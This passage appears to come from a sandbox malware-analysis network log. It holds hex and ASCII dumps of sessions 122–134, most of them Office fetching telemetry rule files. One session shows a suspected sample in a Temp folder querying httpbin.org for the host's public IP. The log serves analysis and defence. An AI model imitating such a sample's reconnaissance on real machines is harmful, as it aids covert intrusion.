T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.9	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:32 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 4b94b180-301e-0096-61b2-42e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215432Z-174f78459685m244hC1EWRgp2c00000011s000000000he9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.9	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:32 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8b39fd45-d01e-0065-5791-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215432Z-174f78459685726chC1EWRsnbg000000121g00000000brn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.9	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:32 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9875fcdf-d01e-00ad-1c91-3fe942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215432Z-174f7845968cdxdrhC1EWRg0en00000011w000000000kaw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.9	49868	18.213.123.165	443	7948	C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:33 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-11-30 21:54:34 UTC	224	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:33 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-11-30 21:54:34 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.228"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.9	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:34 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:34 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: ae63cf80-d01e-00ad-1daa-42e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215434Z-174f7845968glpgnhC1EWR7uec000000121g00000000pn1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:34 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.9	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:34 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: d5d1b96b-f01e-003f-333e-40d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215434Z-174f7845968kdththC1EWRzvxn0000000ebg00000000asyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.9	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:34 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: e83b5619-a01e-000d-5811-41d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215434Z-174f7845968zgtf6hC1EWRqd8s0000000uy000000000bwbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:34 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.9	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:34 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:34 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: d50ca944-101e-0046-279e-4291b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215434Z-174f78459685m244hC1EWRgp2c00000011xg000000003v0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:35 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.9	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:34 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:34 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 1c8d8025-901e-002a-39f2-417a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215434Z-174f7845968vqt9xhC1EWRgten0000001220000000009x7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:35 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.9	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:36 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:36 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: f7667120-201e-006e-59ef-41bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215436Z-174f7845968ljs8phC1EWRe6en00000011u000000000dcad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:36 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.9	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:36 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:36 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: cf7e946f-901e-0083-4991-3fbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215436Z-174f7845968pf68xhC1EWRr4h800000012ag000000004k71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:36 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.9	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:36 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:36 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 87eb510f-001e-008d-7900-42d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215436Z-174f7845968ljs8phC1EWRe6en00000011z00000000012a8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.9	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:36 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:37 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215437Z-174f78459684db9fhC1EWRc7g400000001x000000000nzxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
